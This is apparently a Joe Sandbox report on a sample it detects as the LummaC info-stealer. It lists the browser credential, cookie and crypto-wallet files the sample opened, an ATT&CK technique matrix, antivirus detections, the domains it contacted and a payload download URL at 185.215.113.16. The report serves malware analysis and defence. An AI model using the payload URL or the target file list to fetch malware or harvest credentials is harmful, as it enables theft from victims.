Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1112, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1112, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	34 Virtualization/Sandbox Evasion	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://zdrowietvn.pl	0%	Avira URL Cloud	safe
https://rws1nvtvt.com	0%	Avira URL Cloud	safe
https://poalim.xyz	0%	Avira URL Cloud	safe
https://desimartini.com	0%	Avira URL Cloud	safe
https://reshim.org	0%	Avira URL Cloud	safe
https://poalim.xyz	0%	Virustotal		Browse
https://hearty.gift	0%	Avira URL Cloud	safe
https://hearty.app	0%	Avira URL Cloud	safe
https://talkdeskqaid.com	0%	Avira URL Cloud	safe
https://cookreactor.com	0%	Avira URL Cloud	safe
https://heartymail.com	0%	Avira URL Cloud	safe
https://eworkbookcloud.com	0%	Avira URL Cloud	safe
https://talkdeskstgid.com	0%	Avira URL Cloud	safe
https://chennien.com	0%	Avira URL Cloud	safe
https://bonvivir.com	0%	Avira URL Cloud	safe
https://carcostadvisor.be	0%	Avira URL Cloud	safe
https://poalim.site	0%	Avira URL Cloud	safe
https://blackrockadvisorelite.it	0%	Avira URL Cloud	safe
https://elpais.uy	0%	Avira URL Cloud	safe
https://commentcamarche.com	0%	Avira URL Cloud	safe
https://rws3nvtvt.com	0%	Avira URL Cloud	safe
https://eleconomista.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wieistmeineip.de	sets.json.4.dr	false		high
https://mercadoshops.com.co	sets.json.4.dr	false		high
https://gliadomain.com	sets.json.4.dr	false		high
https://poalim.xyz	sets.json.4.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mercadolivre.com	sets.json.4.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://reshim.org	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://nourishingpursuits.com	sets.json.4.dr	false		high
https://github.com/Youssef1313	chromecache_113.6.dr	false		high
https://medonet.pl	sets.json.4.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://unotv.com	sets.json.4.dr	false		high
https://mercadoshops.com.br	sets.json.4.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_105.6.dr	false		high
https://joyreactor.cc	sets.json.4.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://zdrowietvn.pl	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://johndeere.com	sets.json.4.dr	false		high
https://songstats.com	sets.json.4.dr	false		high
https://baomoi.com	sets.json.4.dr	false		high
https://supereva.it	sets.json.4.dr	false		high
https://elfinancierocr.com	sets.json.4.dr	false		high
https://bolasport.com	sets.json.4.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_113.6.dr	false		high
https://rws1nvtvt.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/pshelpmechoose	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_113.6.dr, chromecache_114.6.dr, chromecache_80.6.dr	false		high
https://desimartini.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hearty.app	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://hearty.gift	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com	sets.json.4.dr	false		high
https://heartymail.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://nlc.hu	sets.json.4.dr	false		high
https://p106.net	sets.json.4.dr	false		high
https://radio2.be	sets.json.4.dr	false		high
https://finn.no	sets.json.4.dr	false		high
https://hc1.com	sets.json.4.dr	false		high
https://kompas.tv	sets.json.4.dr	false		high
https://mystudentdashboard.com	sets.json.4.dr	false		high
https://songshare.com	sets.json.4.dr	false		high
https://smaker.pl	sets.json.4.dr	false		high
https://mercadopago.com.mx	sets.json.4.dr	false		high
https://p24.hu	sets.json.4.dr	false		high
https://talkdeskqaid.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://24.hu	sets.json.4.dr	false		high
https://mercadopago.com.pe	sets.json.4.dr	false		high
https://cardsayings.net	sets.json.4.dr	false		high
https://text.com	sets.json.4.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://mightytext.net	sets.json.4.dr	false		high
https://pudelek.pl	sets.json.4.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hazipatika.com	sets.json.4.dr	false		high
https://joyreactor.com	sets.json.4.dr	false		high
https://cookreactor.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://wildixin.com	sets.json.4.dr	false		high
https://eworkbookcloud.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cognitiveai.ru	sets.json.4.dr	false		high
https://nacion.com	sets.json.4.dr	false		high
https://schema.org	chromecache_105.6.dr	false		high
https://chennien.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drimer.travel	sets.json.4.dr	false		high
https://deccoria.pl	sets.json.4.dr	false		high
https://mercadopago.cl	sets.json.4.dr	false		high
https://talkdeskstgid.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://naukri.com	sets.json.4.dr	false		high
https://github.com/adegeo	chromecache_113.6.dr	false		high
https://interia.pl	sets.json.4.dr	false		high
https://bonvivir.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://carcostadvisor.be	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://salemovetravel.com	sets.json.4.dr	false		high
https://sapo.io	sets.json.4.dr	false		high
https://wpext.pl	sets.json.4.dr	false		high
https://welt.de	sets.json.4.dr	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://poalim.site	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://drimer.io	sets.json.4.dr	false		high
https://infoedgeindia.com	sets.json.4.dr	false		high
https://blackrockadvisorelite.it	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_95.6.dr, chromecache_105.6.dr	false		high
https://cognitive-ai.ru	sets.json.4.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2395452545.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2491486497.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cafemedia.com	sets.json.4.dr	false		high
https://graziadaily.co.uk	sets.json.4.dr	false		high
https://thirdspace.org.au	sets.json.4.dr	false		high
https://mercadoshops.com.ar	sets.json.4.dr	false		high
https://smpn106jkt.sch.id	sets.json.4.dr	false		high
https://elpais.uy	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://landyrev.com	sets.json.4.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_113.6.dr	false		high
https://the42.ie	sets.json.4.dr	false		high
https://commentcamarche.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://tucarro.com.ve	sets.json.4.dr	false		high
https://rws3nvtvt.com	sets.json.4.dr	false	Avira URL Cloud: safe	unknown
https://eleconomista.net	sets.json.4.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557314
Start date and time:	2024-11-18 02:33:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/66@9/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 142.250.186.99, 184.28.89.167, 172.217.18.14, 66.102.1.84, 95.101.150.2, 34.104.35.123, 142.250.186.74, 142.250.185.138, 142.250.185.202, 142.250.184.234, 142.250.185.170, 216.58.206.42, 216.58.212.170, 142.250.185.234, 216.58.206.74, 142.250.185.106, 142.250.186.42, 142.250.186.170, 142.250.185.74, 142.250.186.138, 172.217.16.202, 142.250.181.234, 2.22.242.82, 2.22.242.139, 142.250.185.227, 142.250.186.142
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
